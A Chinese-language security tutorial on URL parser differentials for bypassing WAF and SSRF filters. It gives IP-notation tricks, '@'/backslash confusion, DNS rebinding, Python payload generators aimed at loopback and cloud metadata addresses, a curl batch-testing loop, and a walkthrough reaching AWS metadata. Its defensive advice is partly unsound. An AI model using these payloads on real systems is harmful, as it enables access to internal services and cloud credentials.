URL解析器差异攻防:同一个URL,不同的命运
同一个 URL,Python urllib、requests、浏览器、Go 的解析结果可能完全不同。利用这些差异绕过 WAF 对 SSRF 的防护
前言
URL这个东西,看起来很简单。
http://example.com/path——协议、域名、路径,三部分,一眼看穿。
但如果你真的去翻各种解析器的源码,你会发现这个"简单"的东西其实一点都不简单。Python 的 urllib 解析一个 URL 的结果,和 Node 的 url.parse、Go 的 url.Parse、浏览器 JavaScript 的 URL 构造函数,可能是完全不同的。
同一个 URL,在不同解析器眼里看到的是不同的东西。
这不只是技术细节问题——这是安全漏洞的温床。
你想绕过 WAF 的 SSRF 防护,你希望 WAF 看到一个域名而服务器看到另一个域名。你想绕过域名的白名单校验,你希望校验器看到一个合法域名而实际的 HTTP 请求去了攻击者服务器。
这些差异就叫"解析器差异"。
说白了,解析器差异不是某个库的 bug,而是一类被系统性忽视的攻击面。
IP 地址的七十二种写法
先从一个最基本的场景说起。
你想让服务器去请求 127.0.0.1,但 WAF 拦了所有包含 127.0.0.1 的请求。怎么办?
除了 127.0.0.1,你还能写什么
127.0.0.1 只是一个 IP 地址的表示法,但 URL 解析器认识的 IP 格式远不止这一种。
八进制表示法
http://0177.0000.0000.0001/ → 127.0.0.1
http://0177.0.0.1/ → 也是每个数字段可以用八进制表示。127 的八进制是 0177,0 是 0000,1 是 0001。
十六进制表示法
http://0x7F.0x00.0x00.0x01/ → 127.0.0.1
http://0x7F.0.0.1/ → 也是DWORD(32 位整数)表示法
整个 IP 地址可以转成一个 32 位无符号整数。
http://2130706433/ → 127.0.0.1
http://3232235521/ → 192.168.0.1
http://2852039166/ → 169.254.169.254计算方式:127 * 256^3 + 0 * 256^2 + 0 * 256 + 1 = 2130706433
IPv6 映射表示法
http://[::ffff:127.0.0.1]/ → 127.0.0.1
http://[::ffff:7f00:1]/ → 也是
http://[0000:0000:0000:0000:0000:ffff:7f00:0001]/ → 也是混合表示法
你甚至可以把不同格式混在一起。
http://0x7F.0.0.1/ → 十六进制 + 十进制混合
http://0177.0x0.0.1/ → 八进制 + 十六进制混合这是一个基础的 payload 生成器:
# url_ip_variants.py —— IP 地址变形生成器
import ipaddress
def generate_ip_variants(ip_str="127.0.0.1"):
"""生成 IP 地址的各种变形"""
parts = [int(x) for x in ip_str.split('.')]
results = []
# 原始
results.append(ip_str)
# 省略前导零
results.append(f"{parts[0]}.{parts[1]}.{parts[2]}.{parts[3]}")
# 八进制
results.append(f"{oct(parts[0])}.{oct(parts[1])}.{oct(parts[2])}.{oct(parts[3])}")
# 十六进制
results.append(f"{hex(parts[0])}.{hex(parts[1])}.{hex(parts[2])}.{hex(parts[3])}")
# 混合
results.append(f"{hex(parts[0])}.{parts[1]}.{oct(parts[2])}.{parts[3]}")
# DWORD 格式
dword = parts[0]*256**3 + parts[1]*256**2 + parts[2]*256 + parts[3]
results.append(str(dword))
# 两位省略
results.append(f"{parts[0]}.{parts[1]}.{parts[2]*256 + parts[3]}")
# 一位省略
results.append(f"{parts[0]}.{parts[1]*256**2 + parts[2]*256 + parts[3]}")
# IPv6 映射
results.append(f"[::ffff:{ip_str}]")
results.append(f"[::ffff:{hex(dword)}]")
return results
for v in generate_ip_variants("127.0.0.1"):
print(f"http://{v}/")
for v in generate_ip_variants("169.254.169.254"):
print(f"http://{v}/")输出:
http://127.0.0.1/
http://127.0.0.1/
http://0o177.0o0.0o0.0o1/
http://0x7f.0x0.0x0.0x1/
http://0x7f.0.0o0.1/
http://2130706433/
http://127.0.0.1/
http://127.1/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f000001]/127.0.0.0/8 整个段都是回环
还有一个很多人忽略的点:回环地址不止 127.0.0.1,127.0.0.0/8 整个段都是。
http://127.0.0.1/ → 回环
http://127.0.0.2/ → 也是回环
http://127.1.2.3/ → 也是
http://127.127.127.127/ → 也是你以为你把 127.0.0.1 拦了就安全了?换成 127.0.0.2 一样打到本地。
说白了:IP 过滤只拦一种格式等于没拦。
云元数据 IP 的变形
云平台的元数据端点同样可以用这种方式绕过。
平台 | 元数据端点 | DWORD 格式 |
AWS | 169.254.169.254 | 2852039166 |
阿里云 | 100.100.100.200 | 1684306120 |
GCP | metadata.google.internal | 需要 DNS 解析 |
# 云元数据 IP 变形
def cloud_ip_variants():
ips = {
"AWS": "169.254.169.254",
"Aliyun": "100.100.100.200",
}
for name, ip_str in ips.items():
parts = [int(x) for x in ip_str.split('.')]
dword = parts[0]*256**3 + parts[1]*256**2 + parts[2]*256 + parts[3]
hex_ip = f"{hex(parts[0])}.{hex(parts[1])}.{hex(parts[2])}.{hex(parts[3])}"
print(f"{name}:")
print(f" 标准: http://{ip_str}/")
print(f" DWORD: http://{dword}/")
print(f" 十六进制: http://{hex_ip}/")
print(f" IPv6: http://[::ffff:{ip_str}]/")
print(f" nip.io: http://{ip_str}.nip.io/")
print()
cloud_ip_variants()输出:
AWS:
标准: http://169.254.169.254/
DWORD: http://2852039166/
十六进制: http://0xa9.0xfe.0xa9.0xfe/
IPv6: http://[::ffff:169.254.169.254]/
nip.io: http://169.254.169.254.nip.io/
Aliyun:
标准: http://100.100.100.200/
DWORD: http://1684306120/
十六进制: http://0x64.0x64.0x64.0xc8/
IPv6: http://[::ffff:100.100.100.200]/
nip.io: http://100.100.100.200.nip.io/URL 编码层的组合
IP 变形和 URL 编码还能叠加。很多 WAF 的检测规则只检查解码后的 URL,但实际请求发出去之前的内容和 WAF 检查的内容不一样。
http://2130706433/ → DWORD 格式的 127.0.0.1
http://2130706433/%61%64%6d%69%6e → DWORD + 编码后的路径
http://%32%31%33%30%37%30%36%34%33%33/ → DWORD 整个编码第三行整个 DWORD 都做了 URL 编码,WAF 看到的是 %32%31%33... 之类的字符,不命中任何 IP 规则。但后端解码后实际请求了 http://2130706433/。
一句话:你以为你拦了 127.0.0.1,但攻击者用 DWORD + URL 编码的组合就绕过去了。
不同语言解析器的差异
IP 地址的变形能做到的事有限——很多 WAF 已经有识别这些变形的规则了。真正有意思的是解析器差异。
Orange Tsai 有一项非常经典的研究:同一个 URL,不同的解析器看到的东西完全不同。
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
这个 URL 在不同的解析器眼里:
解析器 | 最终请求的目标 |
Python urllib2 | 1.1.1.1 |
Python requests / 浏览器 | 2.2.2.2 |
Python urllib | 3.3.3.3 |
同一个 URL,三个不同的目标地址。这就是解析器差异的威力。
不止 Python 内部有差异,不同语言之间的差异更大。
// Node.js URL 解析
const url = new URL("http://evil.com:80\\@@127.0.0.1:80/");
console.log(url.hostname);
// Node.js 把反斜杠当作路径分隔符,hostname 是 evil.com
// 但某些 HTTP 客户端实际请求的是 127.0.0.1// Go URL 解析
import "net/url"
u, _ := url.Parse("http://evil.com:80@@127.0.0.1:80/")
fmt.Println(u.Hostname())
// Go 的解析结果又不一样,@ 的处理方式不同
// 可能把 "evil.com:80@@127.0.0.1" 整个当成 host这三个例子说明一件事:URL 解析没有"标准答案",每个实现都有自己的理解。你用 Python 的 urllib 做域名校验,但后端实际发请求用的是 Node.js 或 Go——那你的校验就是白做的。
利用反斜杠和 @ 符号
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/不同解析器对这些 URL 的处理逻辑不一样。有些把 \ 当作路径分隔符,有些当作普通字符。有些认为 @ 前面是用户信息,有些认为 @ 前面是 host。
你用这些 URL 去打一个应用,WAF 看到的是一个地址,后端看到的是另一个。
如何快速测试解析器行为
# url_parser_test.py —— 测试不同解析器的行为
import urllib.parse
import urllib.request
import requests
test_urls = [
"http://127.0.0.1:80\\@evil.com:80/",
"http://evil.com:80@127.0.0.1:80/",
"http://127.0.0.1#@evil.com/",
"http://evil.com:80\\@@127.0.0.1:80/",
"http://2130706433/",
"http://0x7f000001/",
"http://[::ffff:127.0.0.1]/",
]
for url in test_urls:
# urllib 解析
parsed = urllib.parse.urlparse(url)
print(f"URL: {url}")
print(f" urllib hostname: {parsed.hostname}")
print(f" urllib netloc: {parsed.netloc}")
try:
# requests 实际请求的地址(不真的发请求)
req = requests.Request('GET', url)
prepared = req.prepare()
print(f" requests target: {prepared.url}")
except Exception as e:
print(f" requests error: {e}")
print()这个脚本可以快速对比 urllib 和 requests 对同一个 URL 的解析差异。
域名白名单绕过
很多应用这样检查 SSRF:
def validate_url(user_url):
parsed = urllib.parse.urlparse(user_url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("域名不在白名单中")
return requests.get(user_url)看起来没问题,但你能绕过。
如果用户传的是 http://allowed.com@evil.com/,有些解析器的 hostname 结果是 allowed.com(通过白名单),但实际的 HTTP 请求去了 evil.com。
@ 符前面的部分在某些解析器看来是"用户信息"(userinfo),在另一些看来是"host"。利用这个差异,你可以构造一个在白名单里的域名,但实际上请求去了攻击者服务器。
说白了:用 @ 符号可以让你通过域名校验,但实际请求去了另一个地方。
编码绕过
URL 编码也是个好东西。
http://127.0.0.1/%61dmin → %61 解码后是 'a',变成 /admin
http://127.0.0.1/%2561dmin → 双编码:%25→%,最终变成 /admin有些 WAF 只检查解码前的 URL,不检查解码后的。你把 admin 改成 %61dmin,WAF 看到的是 %61dmin 不命中规则,后端解码后请求的是 /admin。
不同解析器的编码解码行为也不一样:
- 有的只解码一次
- 有的递归解码(百分号解码后再判断是否有新的百分号)
- 有的不编码某些特殊字符
这就导致同一个编码后的 URL,在不同解析器里解码后的结果不同。
域名层的绕过
IP 层的绕过有限,但域名层就很灵活了。
nip.io 等服务
http://127.0.0.1.nip.io/ → 解析到 127.0.0.1
http://169.254.169.254.nip.io/ → 解析到 169.254.169.254nip.io 是一个 DNS 服务,你把 IP 放到域名里,它帮你解析到那个 IP。WAF 看到的是 *.nip.io 域名,但实际请求去了云元数据。
类似的免费服务:
localtest.me → 解析到 127.0.0.1
localh.st → 解析到 127.0.0.1
lvh.me → 解析到 127.0.0.1
customer.127.0.0.1.nip.io → 解析到 127.0.0.1DNS Rebinding
DNS Rebinding 是一个更高级的手法。
你设置一个域名,它的 DNS 解析结果先在第一次查询时返回一个合法的 IP(比如你的 VPS),在第二次查询时返回一个内网 IP(比如 127.0.0.1)。
第一次 DNS 查询 → your-domain.com → 你的 VPS IP(通过合法性校验)
第二次 DNS 查询 → your-domain.com → 127.0.0.1(通过 SSRF 访问内网)有现成的 rebinding 服务可以用:
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
这个域名会轮换解析到 1.2.3.4 和 169.254.169.254。
实战工具:URLPayload 生成器
把上面的技术整合成一个工具,可以根据你的目标场景生成对应的 payload。
# url_payload_gen.py —— URL 绕过 payload 生成器
import ipaddress
import urllib.parse
class URLPayloadGenerator:
"""URL 解析器差异 payload 生成器"""
def __init__(self):
self.internal_ips = [
"127.0.0.1",
"127.0.0.1:8080",
"169.254.169.254",
"192.168.1.1",
"10.0.0.1",
"0.0.0.0",
]
self.allowed_domains = [
"example.com",
"google.com",
"baidu.com",
]
def generate_ip_variants(self, ip):
"""生成 IP 地址的各种变形"""
parts = [int(x) for x in ip.split(':')[0].split('.')]
variants = []
# DWORD
dword = parts[0]*256**3 + parts[1]*256**2 + parts[2]*256 + parts[3]
variants.append(f"http://{dword}/")
# 十六进制
hex_ip = f"{hex(parts[0])}.{hex(parts[1])}.{hex(parts[2])}.{hex(parts[3])}"
variants.append(f"http://{hex_ip}/")
# 八进制
oct_ip = f"{oct(parts[0])}.{oct(parts[1])}.{oct(parts[2])}.{oct(parts[3])}"
variants.append(f"http://{oct_ip}/")
# IPv6 映射
variants.append(f"http://[::ffff:{'.'.join(str(p) for p in parts)}]/")
variants.append(f"http://[::ffff:{hex(dword)}]/")
# CIDR 范围内的其他地址
variants.append(f"http://127.0.0.2/")
variants.append(f"http://127.1.0.0/")
# 省略格式
variants.append(f"http://127.1/")
variants.append(f"http://{parts[0]}.{parts[1]}.{parts[2]*256+parts[3]}/")
return variants
def generate_bypass_payloads(self, ip, allowed_domain="example.com"):
"""生成针对域名白名单的绕过 payload"""
payloads = []
# @ 符号混淆
payloads.append(f"http://{allowed_domain}@{ip}/")
payloads.append(f"http://{allowed_domain}:80@{ip}:80/")
payloads.append(f"http://{allowed_domain}\\@{ip}/")
payloads.append(f"http://{ip}#@{allowed_domain}/")
payloads.append(f"http://{ip}\\@@{allowed_domain}/")
# 编码混淆
payloads.append(f"http://{urllib.parse.quote(ip)}.{allowed_domain}/")
# nip.io 方式
payloads.append(f"http://{ip}.nip.io/")
# DNS rebinding 域名
rebind_base = ip.replace('.', '-')
payloads.append(f"http://make-{rebind_base}-rebind-169.254-169.254-rr.1u.ms/")
return payloads
def generate_all(self, target_ip="127.0.0.1"):
"""生成所有 payload"""
print(f"[*] 目标: {target_ip}")
print(f"[*] 生成 IP 变形...")
for p in self.generate_ip_variants(target_ip):
print(f" {p}")
print(f"\n[*] 生成域名白名单绕过...")
for domain in self.allowed_domains[:1]:
for p in self.generate_bypass_payloads(target_ip, domain):
print(f" {p}")
print(f"\n[*] 生成 DNS rebinding...")
print(f" http://make-{target_ip.replace('.','-')}-rebind-169.254-169.254-rr.1u.ms/")
if __name__ == '__main__':
gen = URLPayloadGenerator()
gen.generate_all("127.0.0.1")
print("\n--- 云元数据目标 ---")
gen.generate_all("169.254.169.254")我用这个工具的时候,一般是配合 Burp Intruder 或者直接 curl 批量测试。
# 生成 payload 列表
python3 url_payload_gen.py > payloads.txt
# 批量测试(用 curl)
while read p; do
echo "=== $p ==="
curl -sk -o /dev/null -w "%{http_code} %{size_download}" "$p" || true
echo
done < payloads.txt探测方法
发现 SSRF 或其他 URL 解析相关的功能点后,探测流程是这样的:
第1步:基础测试
随便传一个 URL,看响应结构。有"图片上传成功"、"内容抓取失败"之类的提示。
第2步:判断后端解析器
发几个差异 URL,看后端能不能正确访问:
http://127.0.0.1/ → 看是否被拦截
http://2130706433/ → 看是否被拦截(DWORD 格式)
http://[::ffff:127.0.0.1]/ → 看是否被拦截(IPv6 格式)
如果普通格式被拦但变形格式没被拦 → WAF 只做了字符串匹配
第3步:域名白名单探测
如果后端有域名白名单:
http://allowed.com@evil.com/ → 看请求去了哪里
http://evil.com#@allowed.com/ → 看解析结果
第4步:内网探测
确认能绕过外网限制后:
http://2130706433/ → 127.0.0.1
http://2852039166/ → 169.254.169.254
http://3232235521/ → 192.168.1.1实战场景:一个真实的 SSRF 绕过过程
把前面的技术串起来,演示一个完整的 SSRF 绕过场景。
目标是一个图片抓取接口:
POST /api/thumbnail
{"url": "https://img.example.com/photo.jpg"}服务端会去请求这个 URL,下载图片生成缩略图。但只允许 img.example.com 域名。
我们的目标是绕过ssrf拿到元数据。
第1步:测试基础 SSRF
169.254.169.254/latest/meta-data/
被拦了,返回 "域名不在白名单中"。
第2步:尝试域名白名单绕过
http://img.example.com@169.254.169.254/latest/meta-data/
还是被拦。WAF 可能做了 @ 的检测。
第3步:用 nip.io
http://169.254.169.254.nip.io
这里解释一下
127.0.0.1.nip.io → 解析到 127.0.0.1169.254.169.254.nip.io → 解析到 169.254.169.2542130706433.nip.io → 解析到 2130706433(DWORD 格式的 127.0.0.1)
还是失败
第4步:换 DWORD 格式再试
http://2852039166/latest/meta-data/ → 169.254.169.254/latest/meta-data/,看是否有云元数据
返回了内容!拿到了云元数据。说明 DWORD 格式绕过了 WAF 的 IP 过滤。
第5步:用 DWORD 编码 URL 编码组合绕过更严格的 WAF
如果某层 WAF 连 DWORD 格式也识别了(当然这个目标没那么严苛,但是这个目标确确实实就是存在这个解析问题,也是我们这篇文章着重强调的):
http://%32%38%35%32%30%33%39%31%36%36/ → DWORD 全编码
WAF 看到的是一串百分号,不命中任何 IP 规则,但后端解码后实际请求了云元数据。
整个流程就是:不同格式的 IP 表示法 + 域名白名单绕过技巧 + URL 编码的组合使用。每多一层编码就多一次绕过 WAF 规则的机会。
防御
防御这个攻击面说实话挺难的。
你不能只靠 IP 黑名单或域名白名单来解决——因为问题不在名单上,在解析器差异上。
同一解析器原则
前端校验和后端请求用同一个解析器。如果前端用浏览器 JavaScript 的 URL 构造函数做校验,后端也用同一个逻辑做实际请求。
# 不要这样
def validate_url(url):
parsed = urllib.parse.urlparse(url)
if parsed.hostname != "allowed.com":
raise ValueError("非法域名")
return requests.get(url) # requests 和 urllib 的解析可能有差异
# 要这样
def fetch_url(url):
# 用同一个库做解析和请求
import requests
# requests 自己解析自己请求
return requests.get(url, allow_redirects=False)解析器差异测试
部署前测试不同解析器对同一个 URL 的处理结果。
# 测试多个解析器的一致性
def test_url_consistency(url):
results = {}
# urllib
results['urllib'] = urllib.parse.urlparse(url).hostname
# 这里可以加更多解析器的测试
unique_hosts = set(results.values())
if len(unique_hosts) > 1:
print(f"[!] 解析器差异: {results}")
return False
return True不做自定义域名校验
如果可能的话,不要自己做 URL 解析和域名校验。直接让 HTTP 请求库处理,用返回的结果来判断。
说白了:解析器差异攻击面没有完美的解决方案,最有效的防御是"不要让我自己的 URL 解析逻辑和实际请求的解析逻辑出现不一致"。
总结
写这篇东西,其实就是想说一件事。
URL 解析器差异不是某个库的 bug,是一个系统性的攻击面。Python 的 urllib 解析一个 URL,和 requests、Node.js、浏览器、curl 的解析结果可能完全不同。这个差异就是可以利用的空间。
你用它来绕过 WAF、绕过 SSRF 防护、绕过域名白名单、绕过 CORS 校验。
但说实话,这几年的实战经验告诉我,这种手法的效果越来越差了。因为大部分 WAF 已经在升级规则,能识别 IP 变形和常见的解析器差异。真正能打穿的目标,往往是那些用了过时的解析器或者自己手写了 URL 校验逻辑的系统。
不过只要还有人自己写 URL 校验,这个攻击面就还有价值。
一句话:WAF 再强也防不住解析器差异,因为问题不在 WAF 的规则上,在它的 URL 解析器和后端服务器用的不是同一个。